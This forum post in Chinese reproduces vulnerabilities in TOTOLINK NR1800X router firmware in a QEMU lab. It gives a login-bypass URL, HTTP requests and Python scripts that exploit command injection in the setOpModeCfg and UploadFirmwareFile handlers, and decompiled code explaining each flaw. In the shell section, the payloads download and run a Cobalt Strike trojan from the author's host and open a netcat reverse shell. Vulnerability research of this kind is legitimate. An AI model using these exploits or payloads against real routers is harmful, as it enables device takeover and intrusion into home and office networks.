吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 6618|回复: 12
收起左侧

[漏洞分析] TOTOLINK_NR1800X多漏洞分析

  [复制链接]
初七的果子狸 发表于 2022-11-18 21:38
本帖最后由 初七的果子狸 于 2022-11-18 21:40 编辑

1. 前言

​        闲来无事逛论坛时发现了一篇写的蛮好的漏洞复现文章,还是多CVE复现的,菜鸡决定也来凑个热闹。

2. 实验环境

Ubuntu 16.04
QEMU
路由器固件:NR1800X_Firmware V9.1.0u.6279_B20210910

固件下载地址:

https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/225/ids/36.html

涉及漏洞

OpModeCfg命令注入:CVE-2022-41525
UploadFirmwareFile命令注入:CVE-2022-41518

3. 固件模拟

​        这里模拟采用的是system态,user态的模拟话会出现访问页面白板的问题,可能是因为有些配置文件加载的问题导致的。不过为了大家更好的感官,这里两种模拟方式我都会写下。

3.1 user态

首先,当然是我们固件的下载以及解包啦。直接一个递归解包

binwalk -Me TOTOLINK_C834FR-1C_NR1800X_IP04469_MT7621A_SPI_16M256M_V9.1.0u.6279_B20210910_ALL.web

image-20221111100258585.png

解完包来看下我们的配置吧,首先是我们的IP

auto ens33
#iface ens33 inet dhcp
iface ens33 inet manual
up ifconfig ens33 0.0.0.0 up
auto br0
iface br0 inet dhcp
bridge_ports ens33
bridge_stp off
bridge_maxwait 0

image-20221111100424038.png

至于QEMU的下载啥的,请参考以前的漏洞复现文章,这里肯定不会再重复啦。

复制出来后,直接上命令模拟就好。当然,我们这里还需要确定下使用哪个命令来模拟。

readelf -h bin/busybox

image-20221111102021293.png

mips架构,小端序,那就用mipsel吧

cp $(which qemu-mipsel-static) ./
sudo chroot . ./qemu-mipsel-static ./usr/sbin/lighttpd

image-20221111102318487.png

当然,这里会报错,需要我们自己指定已有的配置文件

(ps:后面的同学其实可以直接一套带走,不需要每次看报错,我这里是为了记录)

sudo chroot . ./qemu-mipsel-static ./usr/sbin/lighttpd -f ./lighttp/lighttpd.conf

image-20221111102402631.png

然后继续报错,说我们还缺个文件,自己创建一个就好。

vim ./var/run/lighttpd.pid

直接空文件保存就好,再来模拟就好了

image-20221111102544306.png

服务已启动,访问IP看下。白板一只,令人心塞。不过换了system态就好了,这里只是给大家看下长啥样。

image-20221111102611840.png

3.2 system态

user态访问是白板,很显然是哪里出了问题,很大可能是配置文件没有加载全,user态有些时候确实会出现类似的问题,所以多手准备很有必要。

首先下载QEMU启动虚拟机所需要的镜像,如果没有wget命令,直接访问后面的网站,自己下完拖进去就好。

wget https://people.debian.org/~aurel32/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta

在上面,我们已经创建好了网桥br,那么这里我们还需要创建个网口

sudo tunctl -t tap0
sudo ifconfig tap0 192.168.7.167/24 up
sudo brctl addif br0 tap0

创建的网口需要和网桥同一网段,是为了后续和QEMU启动的虚拟机通信,当然,IP随意

image-20221111103637813.png

这里配置完成后,启动我们的QEMU虚拟机

sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic

-M:虚拟的系统类型
-kernrl:指定启动内核
-hda:指定启动硬盘
-append:启动参数
-nographic:无图形输出

这里记得加sudo,不然权限会不够,然后经过耐心的等待,我们的虚拟机就会成功启动。

账密:root/root

image-20221111104141193.png

上来后我们会发现QEMU启动的虚拟机还没有IP,这里我们直接命令配个静态的就行。

ifconfig eth0 192.168.7.67 up

image-20221111104254179.png

配置完成,我们来测试下通信,Good!

image-20221111104624883.png

既然现在我们通信配完了,那么就要开始准备上模拟了。

先把我们的源码拷进去

sudo scp -r squashfs-root/ root@192.168.7.67:/root/

image-20221111104945463.png

然后在QEMU虚拟机中挂载启动就好

(这里要先运行上面的代码,在跑下面的。因为QEMU虚拟机的原因,代码太长了不会自动换行,导致代码执行失败,所以要先进sh,然后再跑代码)

chroot ./squashfs-root/ /bin/sh 

./usr/sbin/lighttpd -f ./lighttp/lighttpd.conf

image-20221111105251549.png

服务启动,再来访问下

image-20221111105311727.png

Nice,这下啥都有了,现在可以开开心心的去复现漏洞了。

4. 漏洞复现

4.1 登录绕过

这里首先需要绕过登录,因为后面的俩命令执行需要登陆才行,但是我们默认密码登不上去,又不是实体设备可以重置密码,只能想办法绕过了

这里我直接先上POC(很简单的常规绕过,放开头为了方便大家使用)

GET /formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login HTTP/1.1
Host: 192.168.7.67
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.7.67/login.html
Connection: close
Upgrade-Insecure-Requests: 1

GET /formLoginAuth.htm?authCode=1&userName=&goURL=home.html&action=login HTTP/1.1
Host: 192.168.7.67
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.7.67/login.html
Connection: close
Upgrade-Insecure-Requests: 1

这里两段数据上面的是原始包,下面的是修改后的包,我们只需直接访问下面的url链接就可以直接登录了

http://192.168.7.67/formLoginAuth.htm?authCode=1&userName=&goURL=home.html&action=login

image-20221115112049302.png

其实原理就是一个很简单的抓包改参,做过渗透的师傅应该都可以一眼看出来。不过我们手头既然有源码,那就肯定不能只顾黑盒测试啦,上源码看看吧。这里我先丢两个关键数据包出来

POST /cgi-bin/cstecgi.cgi?action=login HTTP/1.1
Host: 192.168.7.67
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://192.168.7.67
Connection: close
Referer: http://192.168.7.67/login.html
Upgrade-Insecure-Requests: 1

username=admin&password=123456
GET /formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login HTTP/1.1
Host: 192.168.7.67
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.7.67/login.html
Connection: close
Upgrade-Insecure-Requests: 1

首先是我们的第一个数据包,涉及到了cstecgi.cgi,文件路径在www目录下,我们copy出来看下。

/squashfs-root/www/cgi-bin

image-20221115112634589.png

是个32位的文件,直接IDA32打开就行。根据数据包内容,我们直接定位到action=login的位置。

这里的代码主要是为了初始化我们的链接格式,用于后面传递的参数与接口的对应。

image-20221115175919983.png

链接格式初始化后,接下来就是通过对topicurl的值进行处理,来实现不同函数接口的调用。即goto LABEL_16中的代码。

image-20221117100715173.png

可以看到代码通过websGetVar函数获取topicurl的值,通过对/的判断来截断函数名。

image-20221117100934657.png

通过while循环遍历我们目前所在的是哪一个函数名称,然后跳到对应的函数地址去执行代码。

因为函数名称和地址是结构体方式,我们可以通过搜寻字符串的交叉引用来查找对应的处理函数。这里我是通过对loginAuthUrl交叉引用找到对应函数地址sub_42AEEC的,loginAuth的几个交叉引用都在main函数里,不是我们要找的地方。

image-20221117101317913.png

这里可以看到从url中读取了部分参数值,包括username、password等。

image-20221117101825641.png
继续往下看代码的话,还会发现对password的值进行了urldecode解码操作。同时调用了nvram函数获取了一个名为http_username、http_passwd的值来和我们输入的值进行对比。

这里我查到,nvram_safe_get函数主要用来从配置中获取参数(当然,也不晓得我查的对不对,莫名其妙查不到这个函数的作用)

get the configureation of luci configure web

char * nvram_safe_get(char * pcField);

return the configure info string

image-20221117101916758.png
这里获取了http_passwd的值后,将值赋值给了v15,然后又通过strcpy函数将值复制给了v32,我们跟着代码继续往下看,可以看到有个比较代码,将passwordhttp_passwd进行了比较,同时通过结果对v18进行了赋值。

image-20221117104830376.png
通过对代码的分析可以知道,v18在这里其实相当于一个标志值,是第二个包中的authCode所代表的值。不过不知道是不是模拟器的原因,不管输入什么密码都登不进去。

  v17 = strcmp(v6, v30);
  if ( !strcmp(v35, v32) )                      // v35 == password
                                                // v32 == http_passwd
    v18 = v17 != 0;
  else
    v18 = 1;
  if ( v9 )
    strcpy(v6, v30);
  if ( !strcmp(v6, v30) && !strcmp(v35, v32)    // 判断密码是否正确
    || nvram_get_int("ren_qing_style") == 1 && !*(_BYTE *)nvram_safe_get("http_passwd") )
  {
    if ( !strcmp(v9, "ie8") )                   // 条件判断,决定登陆后跳转的页面(正确页面为home.html)
    {
      strcpy(v23, "wan_ie.html");
    }
    else if ( atoi(v9) == 1 )
    {
      if ( v12 )
        strcpy(v23, "phone/wizard.html");
      else
        strcpy(v23, "phone/home.html");
    }
    else if ( v12 )
    {
      strcpy(v23, "wizard.html");
    }
    else
    {
      strcpy(v23, "home.html");
    }
    nvram_set_int_temp("cloudupg_checktype", 1);
    doSystem("lktos_reload %s", "cloudupdate_check 2>/dev/null");
    v18 = 1;                                    // 如果密码等参数判断正确,执行完if判断后,将v18赋值为1
  }
  else
  {
    if ( !strcmp(v9, "ie8") )
    {
      strcpy(v23, "login_ie.html");
    }
    else if ( atoi(v9) == 1 )
    {
      strcpy(v23, "phone/login.html");
    }
    else
    {
      strcpy(v23, "login.html");
    }
    if ( v18 )
    {
LABEL_54:
      system("echo ''> /tmp/login_flag");
      v18 = 0;
      goto LABEL_55;
    }
  }

关于v18的值部分关键代码我贴在这了,感兴趣的师傅也可以直接看下。

继续往下看,可以看到有个snprintf函数,用来重定向url,然后进行访问,流程由flag参数值决定。

image-20221117112938293.png
分析完url部分,我们还需要继续往下看,来看下我们的网络连接部分。第二个数据包的http请求处理在web服务进程的lighttpd中。老样子,拿出来后authCode字符串交叉引用,查看调用。

image-20221117133241328.png
依旧是同样的判断方法,先获取参数值,根据goURL参数是否为空,来判断是否进入if条件语句。

image-20221117133655640.png
image-20221117133759296.png
继续往下看就是判断是否有authCode值,来决定是否进入home.html主界面,否则就返回到login.html界面

这样的来看,我们其实只用构造访问url就可以直接绕过登录了

http://xxx.xxx.xxx.xxx/formLoginAuth.htm?authCode=1&userName=admin&goURL=home.html&action=login
http://xxx.xxx.xxx.xxx/formLoginAuth.htm?authCode=1&userName=admin&goURL=&action=login

goURL不写的话,会自动复制home.html,所以两条语句都可以访问。另外userName不指定账户也可以登录,这里路由器默认admin登录的。

4.2 OpModeCfg命令注入

绕过登录问题已经解决了,那么下面就是我们的漏洞复现了。这个漏洞其实也很简单,由于OpModeCfg函数中传入的hostName参数过滤不严格,导致可以执行到dosystem函数,从而可以通过简单的构造来执行命令。

那么我们来看下漏洞形成的代码,还是/cgi-bin/cstecgi.cgi这个文件。

image-20221117165438508.png
这里函数块在sub_421C98处,同时如果要执行到doSystem处需要绕过几个判断。首先是proto不能为0、3、4、6,接着是hostname不能为空。hostname不能为空在图里就可以看出来,至于proto则在上面的代码处,因为总代码比较长,这里我只截判断部分给大家看看,感兴趣的师傅可以自己去分析下。

image-20221117170223577.png
这样一来,我们只需要构造一个符合函数的包就好。

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.7.67
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 74
Origin: http://192.168.7.67
Connection: close
Referer: http://192.168.7.67/basic/index.html
Cookie: SESSION_ID=2:1668665284:2

{
        "proto":"8",
        "hostname":"';ls ../../;'",
        "topicurl":"setOpModeCfg"
}

image-20221117170330110.png
当然,这里其实也可以用python脚本来实现

import requests
url = "http://192.168.7.67:80/cgi-bin/cstecgi.cgi"
cookie = {"Cookie":"SESSION_ID=2:1668665284:2"}
data = {"topicurl" : "setOpModeCfg",
"proto" : "8",
"switchOpMode" : "1",
"hostName" : "';ls -al ../ ;'"}
response = requests.post(url, cookies=cookie, json=data)
print(response.text)
print(response)

image-20221117170429409.png

4.3 UploadFirmwareFile命令注入

这一个命令注入是/cgi-bin/cstecgi.cgiUploadFirmwareFile 函数,参数FileName可控,可以作为doSystem的参数执行。不过这块代码反汇编出来有些问题,没有被识别到,需要自行创建个函数。

首先,在最开头我们可以看到,表示地址的部分是暗红色,代表没有成功识别到汇编代码

image-20221117170731683.png
我们可以借助IDA,来创建一个函数,直接快捷键P即可。或者Edit -- Functions -- Create Function...

从最上面开始创建函数后,一路往下,直到能够将我们的关键地址变为能够识别到的汇编代码即可。

image-20221117170933098.png
然后开开心心的F5反编译

image-20221117171047125.png
当然,如果反编译失败报错,提示大小不对那个错误的话,可以修改下。

Options -- Compiler...,修改配置为GNU C++即可

image-20221117171150569.png
这里我们直接来测试下命令注入吧

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.7.67
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 72
Origin: http://192.168.7.67
Connection: close
Referer: http://192.168.7.67/basic/index.html
Cookie: SESSION_ID=2:1668665284:2

{
        "topicurl":"UploadFirmwareFile",
        "filename":";ls / > /tmp/hack;"
}

image-20221117171755113.png
image-20221117171802807.png
注意这个命令注入是将文件写到QEMU启动的虚拟机内部,而不是说将文件copy出来。

当然,这个命令注入的实现同样可以使用python

import requests
url = "http://192.168.7.67:80/cgi-bin/cstecgi.cgi"
cookie = {"Cookie":"SESSION_ID=2:1668665284:2"}
data = {'topicurl' : "UploadFirmwareFile",
"FileName" : ";ls -al / > /tmp/hack;"}
response = requests.post(url, cookies=cookie, json=data)
print(response.text)
print(response)

为了体现区别,这里用python执行ls -al命令

image-20221117172005152.png
image-20221117172014144.png
成功写入~~~

5. 关于shell

​        能够执行命令了,那我们一般来讲,肯定是想着该怎么弹shell。这里我们以OpModeCfg命令注入为例,来实际测试下我们能不能弹个shell回来。

​        因为我其实不太会渗透,所以一开始是想着传个马进去,上线CS。不过出了问题,没法执行。这里也给大家看一下。

首先利用cs的插件,做个Linux的马出来

image-20221118140114868.png
木马制作完成后,我本机上线测试了下,确保能用

image-20221118140451008.png
测试正常,既然能用,接下来就是传到固件中运行了。这里我起个python服务,然后用攻击脚本传进去执行

import requests
url = "http://192.168.7.67:80/cgi-bin/cstecgi.cgi"
cookie = {"Cookie":"SESSION_ID=2:1668751703:2"}
data = {"topicurl" : "setOpModeCfg",
"proto" : "8",
"switchOpMode" : "1",
"hostName" : "';wget http://192.168.7.44:8000/attack_linux && chmod 777 attack_linux && ./attack_linux ;'"}
response = requests.post(url, cookies=cookie, json=data)
print(response.text)
print(response)

image-20221118140935807.png
虽然执行成功了,但是我们的马并没有上线。这里直接进到固件系统里面去看下

image-20221118141019045.png
马传上来了,权限也给了,不过哪怕在固件系统里面手动执行也不行,提示无法执行二进制文件。这个问题我没解决,毕竟模拟环境好多命令其实不太好用。

既然这个不行,那就只好考虑换种方法了。直接nc弹个shell来试试看吧

import requests
url = "http://192.168.7.67:80/cgi-bin/cstecgi.cgi"
cookie = {"Cookie":"SESSION_ID=2:1668751703:2"}
data = {"topicurl" : "setOpModeCfg",
"proto" : "8",
"switchOpMode" : "1",
"hostName" : "';nc 192.168.7.44 4444 -e /bin/sh ;'"}
response = requests.post(url, cookies=cookie, json=data)
print(response.text)
print(response)

这里nc倒是可以弹个shell回来,基础的指令操作也是可以的。比如cat、echo一类的。不过没办法执行whoamiid

image-20221118141400319.png
​        这里我换了bashbusybox也还是不行,最终shell回来后都是用的固件模拟里带有的指令集,busybox也没法用,没搞明白是咋回事。不过关于为什么whoami不能用倒是看懂了,回到固件模拟系统里,查看了下bin目录和/usr/bin目录里的内容,发现压根没有whoamiid这两个命令。多次测试下,发现确实是这样,凡是bin目录下具有的命令都能用,但是没有的就不能使,尝试从外面copy个命令进去也不太行,可能是版本架构的问题。按理说固件模拟用的应该是busybox里的指令集来执行,不过可能是我这弹shell出了点问题?不过能写能读倒也凑合能用了。

image-20221118142057585.png
image-20221118142225701.png

如果有师傅知道该怎么解决这种部分命令无法执行的问题的话,还望不吝赐教,大佬带带我啊~~~

6. 总结

​        命令注入漏洞其实都不难复现,难点在于如何从众多源码中找到参数过滤不严格的地方,以及我们该如何绕过这个过滤。同时还需要注意payload的构造,这两个命令执行漏洞其实对比就很明显。两个命令执行payload构造有着一个很细微的区别。

"hostName" : "';ls -al ../ ;'"

"FileName" : ";ls -al / > /tmp/hack;"

仔细观察其实可以看到,两个命令执行,一个用了'单引号,一个没有使用。这点也和两个doSystem不同有关。

image-20221117172854993.png
image-20221117172902631.png
比较一下就能看出很明显的区别。

7. 参考链接

https://www.anquanke.com/post/id/282739
https://blog.csdn.net/wsclinux/article/details/47399925
https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=TOTOLINK%20NR1800X
https://brief-nymphea-813.notion.site/NR1800X-command-injection-setOpModeCfg-7b10868ba53544148d9aa3100b5df5cc
https://brief-nymphea-813.notion.site/NR1800X-command-injection-UploadFirmwareFile-a98e96086d824b7d8b788a8639322457
https://cloud.tencent.com/developer/article/1937030
https://www.jianshu.com/p/14797a3e1a1d

免费评分

参与人数 7威望 +2 吾爱币 +106 热心值 +6 收起 理由
peiwithhao + 2 + 1 用心讨论,共获提升!
chenjingyes + 1 + 1 谢谢@Thanks!
ffbi + 1 我很赞同!
QingTianGG + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
willJ + 2 + 100 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
XXP777 + 1 + 1 广告贴,请遵守论坛版规!
mengzuiqiannian + 1 厉害

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

akillking 发表于 2022-11-21 10:35
必须支持大佬
adffd 发表于 2022-11-22 09:00
ijack2001 发表于 2022-12-9 08:58
Penguinbupt 发表于 2022-12-9 10:09
先mark再学习
hzwang1966 发表于 2022-12-11 11:07
感谢,路由器漏洞多,学习了,
ZERO7788 发表于 2022-12-11 17:44
gao  duan   cao  zuo
hzhgz2006 发表于 2022-12-17 14:29
谢谢楼主分享
ZhuanZhuYuIT 发表于 2022-12-21 21:58
膜拜大佬
chenjingyes 发表于 2022-12-23 00:01
很详细啊。谢谢楼主分享
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-21 19:59

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表